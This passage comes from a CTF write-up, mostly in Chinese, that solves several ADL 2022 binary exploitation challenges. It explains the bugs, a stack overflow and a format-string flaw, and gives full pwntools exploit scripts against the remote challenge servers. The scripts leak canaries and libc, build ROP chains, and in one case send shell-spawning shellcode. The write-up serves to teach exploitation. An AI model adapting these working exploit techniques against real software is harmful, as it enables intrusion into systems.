        if arg == 'd':
            context.log_level = 'debug'
        # ./solve l
        if arg == 'l':
            io = process([binary.path])
        # ./solve g
        elif arg == 'g':
            io = gdb.debug([binary.path], gdbscript=GDB_SCRIPT)
    # $ ./solve
    if io is None:
        io = remote("ctf.adl.tw", 10008)
    return io


def main():
    io = conn()

    libc = CDLL("libc.so.6")

    now_time = libc.time(0)

    possible_passwords = []

    for off in range(now_time - 3, now_time + 1):
        libc.srand(off)

        password = b""

        for _ in range(20):
            rand_num = libc.rand()
            password += bytes([rand_num % 93 + 33])

        possible_passwords.append(password)
        info(f"Possible password: {password}")

    admin_password = None

    for password in possible_passwords:
        info(f"Trying password: {password}")
        io.sendlineafter(b": ", b"System Call login")
        io.sendlineafter(b": ", b"Quinella")
        io.sendlineafter(b": ", password)
        result = io.recvline()
        if b"You login with " in result:
            success(f"admin password found: {password}")
            admin_password = password
            break
    
    if admin_password is None:
        error("admin password not found")
        return
    
    io.sendlineafter(b": ", b"System Call generate shellcode element")
    shellcode = asm(shellcraft.sh())
    print(shellcode)
    # alphanumeric shellcode
    shellcode = AE64().encode(shellcode)
    print(shellcode)
    io.sendafter(b": ", shellcode)


    io.interactive() # ADL{5y573m_c4ll_GEN3R47E_fl4g_3l3M3NT.https://youtu.be/r-4XumkB2Yg}


if __name__ == "__main__":
    main()

flag: ADL{5y573m_c4ll_GEN3R47E_fl4g_3l3M3NT.https://youtu.be/r-4XumkB2Yg}

Test Subject 087

Overview

checksec:

[*] '/ctf/work/adl/2022/Test_Subject_087/Test_Subject_087'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

保護全開

seccomp-tools dump:

 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x09 0xc000003e  if (A != ARCH_X86_64) goto 0011
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x06 0xffffffff  if (A != 0xffffffff) goto 0011
 0005: 0x15 0x04 0x00 0x00000000  if (A == read) goto 0010
 0006: 0x15 0x03 0x00 0x00000001  if (A == write) goto 0010
 0007: 0x15 0x02 0x00 0x00000002  if (A == open) goto 0010
 0008: 0x15 0x01 0x00 0x0000003c  if (A == exit) goto 0010
 0009: 0x15 0x00 0x01 0x000000e7  if (A != exit_group) goto 0011
 0010: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0011: 0x06 0x00 0x00 0x00000000  return KILL

seccomp限制了除了read/write/open/exit/exit_group以外的syscall

code中比較重要的部分:

unsigned __int64 add_option()
{
  char s[136]; // [rsp+0h] [rbp-90h] BYREF
  unsigned __int64 v2; // [rsp+88h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  memset(s, 0, 0x80uLL);
  puts("What do you want to tell Test Subject 007?");
  printf("> ");
  read(0, s, 0x7FuLL);
  add_node(s);
  printf("Test Subject 007 learns %s.\n", s);
  return __readfsqword(0x28u) ^ v2;
}

unsigned __int64 challenge()
{
  int v1; // [rsp+Ch] [rbp-44h]
  int v2; // [rsp+10h] [rbp-40h]
  unsigned int v3; // [rsp+14h] [rbp-3Ch]
  int v4; // [rsp+18h] [rbp-38h]
  int something_list_len; // [rsp+1Ch] [rbp-34h]
  unsigned int v6; // [rsp+20h] [rbp-30h]
  unsigned int nbytes; // [rsp+24h] [rbp-2Ch]
  const char *nbytes_4; // [rsp+28h] [rbp-28h]
  char s[24]; // [rsp+30h] [rbp-20h] BYREF
  unsigned __int64 v10; // [rsp+48h] [rbp-8h]

  v10 = __readfsqword(0x28u);
  v1 = 0;
  v2 = 0;
  v3 = 0;
  something_list_len = get_something_list_len();
  v4 = 0;
  if ( lose > 2 )
  {
    printf("You have lost %d times in a row.\n", (unsigned int)lose);
    puts("Do you want to enter hint mode?[y/N]");
    printf("> ");
    memset(s, 0, 0x10uLL);
    read(0, s, 0xFuLL);
    if ( !strncmp(s, "y", 1uLL) )
    {
      puts("Hint mode is opened.");
      v4 = 1;
    }
  }
  puts("Challenge start.");
  while ( v1 <= 7 && v2 <= 7 )
  {
    ++v3;
    puts("-------------------------------------------------------");
    printf("Round %d:\n", v3);
    puts("-------------------------------------------------------");
    puts("Try to guess what is in Test Subject 007's mind.");
    v6 = rand() % something_list_len;
    nbytes_4 = (const char *)get_something_by_idx(v6);
    memset(s, 0, 0x10uLL);
    if ( v4 )
    {
      nbytes = strlen(nbytes_4);
      printf("The word has %d letters.\n", nbytes);
      printf("> ");
      read(0, s, nbytes);
    }
    else
    {
      printf("> ");
      read(0, s, 0x10uLL);
    }
    printf("Test Subject 007 is thinking about %s.\n", nbytes_4);
    printf("Your answer : %s\n", s);
    if ( !strcmp(s, nbytes_4) )
    {
      puts("You got a stella. ereganto!!!");
      ++v1;
    }
    else
    {
      puts("You got a tonito.");
      ++v2;
    }
    printf("Now you have %d stella, %d tonito.\n", (unsigned int)v1, (unsigned int)v2);
  }
  if ( v1 == 8 )
  {
    puts("Congratulations, You pass this challenge.");
    puts("Now You are Starlight Test Subject 087.");
    puts("Flag is at /home/test_subject_087/flag, feel free to take it away.");
    puts("Bye~~~");
    puts(": chichi usotsuki");
    exit(0);
  }
  puts("You lose.");
  lose_img();
  ++lose;
  return __readfsqword(0x28u) ^ v10;
}

可以注意到在challenge()中,當lose > 2的時候可以開啟hint模式

在hint模式下,若strlen(nbytes_4)的長度比s的buffer大小(24 bytes)還要大,read(0, s, nbytes)時就會發生bof

nbytes_4是可以控制的:我們可以通過add_option(),添加最長0x7f bytes大小的option,使nbytes_4 = (const char *)get_something_by_idx(v6)拿到一個0x7f大小的字串

Solution

第一步是添加很多0x7f bytes的option,使get_something_by_idx穩定得拿到夠長的字串

第二步是將canary透過overflow蓋掉一個null bytes,使其在printf("Your answer : %s\n", s);時leak出來

第三步是再往後塞,把stack上可以預測的__libc_start_main+243main address用一樣的手法leak出來,計算libc base和pie base

最後一步是ROP,但因為要open/read/write flag,需要的gadgets長度放不進0x7f - 0x20 bytes大小的buffer

所以我將rbp填上bss段上的位置,再利用剩餘的空間填上能夠呼叫read(0, &next_gadget_address, 0x100)的gadgets,先read完整orw的ROP chain和flag的filename進去,再用leave; ret;gadget stack pivot過去,完成最後一段ROP

#!/usr/bin/env python3

from pwn import *
import sys
from typing import Union

binary = ELF("./Test_Subject_087_patched")
libc = ELF("./libc-2.31.so")
ld = ELF("./ld-2.31.so")

context.binary = binary
context.terminal = ["tmux", "splitw", "-h", "-e", "GDB=pwndbg"]
context.arch = 'amd64'

def one_gadget(filename: str) -> list:
    return [int(i) for i in
            __import__('subprocess').check_output(['one_gadget', '--raw', filename]).decode().split(' ')]


GDB_SCRIPT = '''
b open
'''.strip()


def conn() -> Union[process, remote]:
    io = None
    for arg in sys.argv[1:]:
        # ./solve <any option> d
        if arg == 'd':
            context.log_level = 'debug'
        # ./solve l
        if arg == 'l':
            io = process([binary.path])
        # ./solve g
        elif arg == 'g':
            io = gdb.debug([binary.path], gdbscript=GDB_SCRIPT)
    # $ ./solve
    if io is None:
        io = remote("ctf.adl.tw", 10005)
    return io

def main():
    with conn() as io:
        info("setup 0x7f length payload")
        for _ in range(300):
            io.sendlineafter(b"> ", b"3")
            io.sendlineafter(b"> ", b"2")
            io.sendafter(b"> ", b"X" * 0x7f)

        info("prepare bof")
        for _ in range(3):
            io.sendlineafter(b"> ", b"1")
            for __ in range(8):
                io.sendlineafter(b"> ", b"xxxx")
        
        canary = None
        next_gadget_address = None
        flag_path_address = None
        flag_address = None

        io.sendlineafter(b"> ", b"1")
        io.sendlineafter(b"> ", b"y")

        io.recvuntil(b"The word has ")
        length = int(io.recvuntil(b" letters", drop=True))
        if length != 0x7f:
            warning("fail when leaking canary")
            return False
        else:
            info("leaking canary")
            io.sendafter(b"> ", b"A" * 0x19)
            io.recvuntil(b"A" * 0x19)
            canary = b"\x00" + io.recv(7)
            success(f"canary: {canary}")
        
        io.recvuntil(b"The word has ")
        length = int(io.recvuntil(b" letters", drop=True))
        if length != 0x7f:
            warning("fail when leaking libc base")
            return False
        else:
            info("leaking libc base")
            payload = b'A' * 0x48
            io.sendafter(b"> ", payload)
            io.recvuntil(payload)
            __libc_start_main_243_addr = int.from_bytes(io.recv(6), 'little')
            info(f"__libc_start_main+243_addr: {__libc_start_main_243_addr:#x}")
            libc.address = __libc_start_main_243_addr - libc.symbols["__libc_start_main"] - 243
            assert libc.address & 0xfff == 0, f"libc base wrong: {libc.address:#x}"
            assert libc.address > 0, f"libc base wrong: {libc.address:#x}"
            success(f"libc base: {libc.address:#x}")
        
        io.recvuntil(b"The word has ")
        length = int(io.recvuntil(b" letters", drop=True))
        if length != 0x7f:
            warning("fail when leaking pie base")
            return False
        else:
            info("leak pie base")
            payload = b"A" * 0x68
            io.sendafter(b"> ", payload)
            io.recvuntil(payload)
            main_address = int.from_bytes(io.recv(6), 'little')
            info(f"main address: {main_address:#x}")
            binary.address = main_address - binary.sym["main"]
            assert binary.address & 0xfff == 0, f"pie base wrong: {binary.address:#x}"
            assert binary.address > 0, f"pie base wrong: {binary.address:#x}"
            success(f"pie base: {binary.address:#x}")
        
        io.recvuntil(b"The word has ")
        length = int(io.recvuntil(b" letters", drop=True))
        if length != 0x7f:
            warning("fail when stack pivot")
            return False
        else:
            info("stack pivot")
            rop = ROP([binary, libc])
            next_gadget_address = binary.bss(0x400)
            flag_path_address = next_gadget_address - 0x30
            flag_address = next_gadget_address + 0x150
            info(f"next gadget address: {next_gadget_address:#x}")
            info(f"flag path address: {flag_path_address:#x}")
            info(f"flag address: {flag_address:#x}")
            rop.read(0, flag_path_address, flag_address - next_gadget_address)
            rop.raw(rop.find_gadget(["leave", "ret"]))
            payload = flat(
                {
                    0x18: canary,
                    0x20: next_gadget_address - 8,
                    0x28: rop.chain(),
                }
            , length=0x7f)
            io.sendafter(b"> ", payload)
        
        for _ in range(4):
            io.sendlineafter(b"> ", b"xxxx")

        info("orw ROP")
        rop = ROP([binary, libc])
        payload = flat([
            # open(&flag_path, 0, 0)
            rop.find_gadget(["pop rdi", "ret"]).address,
            flag_path_address,
            rop.find_gadget(["pop rsi", "ret"]).address,
            0,
            rop.find_gadget(["pop rdx", "ret"]).address,
            0,
            rop.find_gadget(["pop rax", "ret"]).address,
            constants.SYS_open,
            rop.find_gadget(["syscall", "ret"]).address,
            # read(fd, &flag_address, 0x100)
            rop.find_gadget(["pop rdi", "ret"]).address,
            3,
            rop.find_gadget(["pop rsi", "ret"]).address,
            flag_address,
            rop.find_gadget(["pop rdx", "ret"]).address,
            0x100,
            rop.find_gadget(["pop rax", "ret"]).address,
            constants.SYS_read,
            rop.find_gadget(["syscall", "ret"]).address,
            # write(1, &flag_address, 0x100)
            rop.find_gadget(["pop rdi", "ret"]).address,
            1,
            rop.find_gadget(["pop rsi", "ret"]).address,
            flag_address,
            rop.find_gadget(["pop rdx", "ret"]).address,
            0x100,
            rop.find_gadget(["pop rax", "ret"]).address,
            constants.SYS_write,
            rop.find_gadget(["syscall", "ret"]).address,
        ])
        payload = flat({
            0x00: b"/home/test_subject_087/flag\0",
            next_gadget_address - flag_path_address: payload
        })
        io.send(payload)

        result = io.recvall()
        # print(result)

        if b"ADL" in result:
            flag = result[result.index(b"ADL"): result.index(b"}") + 1].decode()
            success(f"flag: {flag}") # ADL{4ny4_k0r3_5uk1_https://youtu.be/ZMV5aoQ5yko}
            return True
        else:
            return False


if __name__ == "__main__":
    while True:
        try:
            binary.address = 0
            libc.address = 0
            if main():
                exit(0)
        except AssertionError as e:
            warning(str(e))
            pass

flag: ADL{4ny4_k0r3_5uk1_https://youtu.be/ZMV5aoQ5yko}

guitarhero

Overview

checksec:

[*] '/ctf/work/adl/2022/guitarhero/guitarhero'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

保護全開

seccomp-tool dump:

 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x09 0xc000003e  if (A != ARCH_X86_64) goto 0011
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x06 0xffffffff  if (A != 0xffffffff) goto 0011
 0005: 0x15 0x04 0x00 0x00000000  if (A == read) goto 0010
 0006: 0x15 0x03 0x00 0x00000001  if (A == write) goto 0010
 0007: 0x15 0x02 0x00 0x000000e6  if (A == clock_nanosleep) goto 0010
 0008: 0x15 0x01 0x00 0x000000e7  if (A == exit_group) goto 0010
 0009: 0x15 0x00 0x01 0x00000101  if (A != openat) goto 0011
 0010: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0011: 0x06 0x00 0x00 0x00000000  return KILL

只能orw

比較重要的部分:

int show_video()
{
  if ( !video_name[0] )
    return puts("No video had been uploaded.");
  upload_time += rand() % 23 + 1;
  viewers += rand() % 50;
  // some useless code
  printf(video_name);
  // some useless code
  puts(&byte_2E3F);
  puts(asc_2E40);
  puts(asc_2EB0);
  puts(asc_2F20);
  return puts(&byte_2E3F);
}

void __noreturn omedetou()
{
  int fd; // [rsp+Ch] [rbp-1014h]
  char s[16]; // [rsp+10h] [rbp-1010h] BYREF
  unsigned __int64 v2; // [rsp+1018h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  fd = open("omedetou.txt", 0);
  if ( fd == -1 )
  {
    puts("Cannot read file!\nExiting...");
    exit(-1);
  }
  memset(s, 0, 0x1000uLL);
  read(fd, s, 0x1000uLL);
  printf("%s", s);
  exit(0);
}

__int64 upload()
{
  __int64 result; // rax

  puts("video name:");
  memset(video_name, 0, sizeof(video_name));
  read(0, video_name, 0x1FuLL);
  puts("upload completed.");
  upload_time = 0;
  viewers = 0;
  ++total_video;
  result = (unsigned int)(subscriber + 10);
  subscriber += 10;
  return result;
}

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // [rsp+Ch] [rbp-24h]
  char buf[24]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v5; // [rsp+28h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  init(argc, argv, envp);
  init_seccomp();
  puts("You are a shy, gloomy high-schooler who started learning guitar after seeing rock bands on TV.");
  puts("Try to record guitar covers and post them to your YouTube channel.");
  while ( 1 )
  {
    if ( !action )
      end();
    if ( subscriber > 999999 )
      omedetou();
    puts("-------------------------------------------------------");
    puts("What do you want to do?");
    if ( action == 1 )
      printf("You have %d action.\n", (unsigned int)action);
    else
      printf("You have %d actions.\n", (unsigned int)action);
    puts("1. show YT channel status");
    puts("2. upload video");
    puts("3. show latest video");
    puts("-------------------------------------------------------");
    printf("> ");
    read(0, buf, 0xFuLL);
    v3 = atoi(buf);
    if ( v3 == 3 )
    {
      show_video();
    }
    else
    {
      if ( v3 > 3 )
        goto LABEL_15;
      if ( v3 == 1 )
      {
        show_yt_status();
      }
      else
      {
        if ( v3 != 2 )
LABEL_15:
          exit(0);
        upload();
      }
    }
    --action;
  }
}

可以注意到用upload()去讀的video_name,在show_video()會直接被輸出,所以有format string的漏洞

另外可以注意到omedetou()裡面會去讀檔然後print出來,所以之後應該利用裡面的gadget讀flag

另一個比較重要的部分是action初始值是3,用完之後就會直接exit

Solution

第一步先用format string的漏洞leak stack上面保存的_start address,推算出pie base

第二步是利用上一步得到的pie base,算出action的address,並且因為read option的時候讀了0xf bytes(read(0, buf, 0xFuLL);),所以可以使用b"3\0AAAAAA" + p64(address)[:-1],把任意的address放到stack上

於是這裡我們可以將&action放到stack上,再利用format string的漏洞對他進行寫入,就可以重複輸入3次以上了

第三步是用format string leak stack上的__libc_start_main+243,拿到libc base

第四步是leak存在stack上的”上一個”stack frame的rbp值,並推算出”當前”rbp的值(可以直接用gdb看一下,推算出來)

第五步是將剛剛得到的rbp的值放到stack上,並透過format string的漏洞對他進行寫入,將儲存在rbp中的”上一個”stack frame、也就是main()的rbp改寫,改寫成其值-0x18後的數值

這麼做是為了使main()在執行read(0, buf, 0xFuLL)時,因為buf是在rbp - 0x20的位置,所以read執行之後,就會剛好把自己存在stack上的rip給蓋掉,於是就可以塞兩個gadgets的ROP

這時可以先填上一個在libc中找到的mov edx, 0x94d3ff3 gadget,再重新ret到read一次,此時因為rdi和rsi都是一樣的,所以會重新read 0x94d3ff3 bytes到相同位置,這時就能重新進行ROP,剩下只需要讓rdi指向存flag檔名的address,再跳到omedetou()裡面即可

#!/usr/bin/env python3

from pwn import *
import sys
from typing import Union

binary = ELF("./guitarhero_patched")
libc = ELF("./libc-2.31.so")
ld = ELF("./ld-2.31.so")

context.binary = binary
context.terminal = ["tmux", "splitw", "-h", "-e", "GDB=pwndbg"]
context.arch = binary.arch

def one_gadget(filename: str) -> list:
    return [int(i) for i in
            __import__('subprocess').check_output(['one_gadget', '--raw', filename]).decode().split(' ')]


GDB_SCRIPT = '''
b *show_video+552
'''.strip()


def conn() -> Union[process, remote]:
    io = None
    for arg in sys.argv[1:]:
        # ./solve <any option> d
        if arg == 'd':
            context.log_level = 'debug'
        # ./solve l
        if arg == 'l':
            io = process([binary.path])
        # ./solve g
        elif arg == 'g':
            io = gdb.debug([binary.path], gdbscript=GDB_SCRIPT)
    # $ ./solve
    if io is None:
        io = remote("ctf.adl.tw", 10009)
    return io


def main():
    io = conn()

    info("leaking pie base")
    io.sendlineafter(b"> ", b"2")
    payload = b"%11$pEND"
    io.sendafter(b":\n", payload)
    payload = flat(b"3\n", length=8)
    # payload += p8(binary.sym["action"] & 0xff)
    io.sendafter(b"> ", payload)
    io.recvuntil(b"0x")
    _start_address = int(io.recvuntil(b"END", drop=True), 16)
    info(f"_start address: {_start_address:#x}")
    binary.address = _start_address - binary.sym["_start"]
    success(f"pie base: {binary.address:#x}")
    success(f"&action: {binary.sym['action']:#x}")


    info("(int)action = 100")
    io.sendlineafter(b"> ", b"2")
    payload = b"%100c%11$nEND"
    io.sendafter(b":\n", payload)
    payload = flat({
        0x00: b"3\n",
        0x08: p64(binary.sym["action"])[:-1],
    }, length=0xf)
    io.sendafter(b"> ", payload)
    io.recvuntil(b"END")


    info("leaking libc base")
    payload = b"%15$pEND"
    io.sendlineafter(b"> ", b"2")
    io.sendafter(b":\n", payload)
    io.sendafter(b"> ", b"3\n")
    io.recvuntil(b"0x")
    __libc_start_main_243 = int(io.recvuntil(b"END", drop=True), 16)
    info(f"__libc_start_main+243: {__libc_start_main_243:#x}")
    libc.address = __libc_start_main_243 - libc.sym["__libc_start_main"] - 243
    success(f"libc base: {libc.address:#x}")
    success(f"read: {libc.sym['read']:#x}")


    info("leaking stack address")
    payload = b"%6$pEND"
    io.sendlineafter(b"> ", b"2")
    io.sendafter(b":\n", payload)
    io.sendafter(b"> ", b"3\n")
    io.recvuntil(b"0x")
    saved_rbp = int(io.recvuntil(b"END", drop=True), 16)
    success(f"saved rbp: {saved_rbp:#x}")
    current_rbp = saved_rbp - 0x40
    success(f"current rbp: {current_rbp:#x}")


    info("stack pivot rbp to rbp-0x18 for rop")
    target = saved_rbp - 0x18
    payload = f"%{target & 0xffff}c%11$hnEND".encode()
    io.sendlineafter(b"> ", b"2")
    io.sendafter(b":\n", payload)
    payload = flat({
        0x00: b"3\n",
        0x08: p64(current_rbp)[:-1],
    })
    io.sendafter(b"> ", payload)
    io.recvuntil(b"END")


    info("rop to open flag then read/print flag")
    payload = flat({
        0x00: p64(0x19530a + libc.address), # mov edx, 0x94d3ff3 ; ret
        0x08: p64(libc.sym["read"])[:-1], # read(0, rbp-0x20, 0x94d3ff3)
    }, length=0xf)
    io.sendafter(b"> ", payload)
    rop = ROP(libc)
    filename = b"/home/guitarhero/flag\0"
    flag_offset = 0x80
    payload = flat(
        0x4141414141414141,
        0x4242424242424242,
        rop.find_gadget(["pop rdi", "ret"]).address,
        target - 0x20 + flag_offset,
        rop.find_gadget(["pop rsi", "ret"]).address,
        0,
        binary.address + 0x1ab8,  # open/read gadget
        length=flag_offset,
    )
    payload += filename
    io.send(payload)

    result = io.recvall()
    flag = result[result.index(b"ADL{"): result.index(b"}") + 1]
    success(f"flag: {flag.decode()}")  # ADL{5h0un1n_y0kkyuu_m0n573r!!!https://youtu.be/IwHwv-lcxi4}


if __name__ == "__main__":
    main()

flag: ADL{5h0un1n_y0kkyuu_m0n573r!!!https://youtu.be/IwHwv-lcxi4}

Final words

這次我是班上最快破台的人,蠻開心的,感覺比兩年前的自己多會了很多東西~

不過隨著見識過的高手越來越多,我也越來越明白自己還有非常多不足的地方,希望有朝一日能趕上他們的腳步!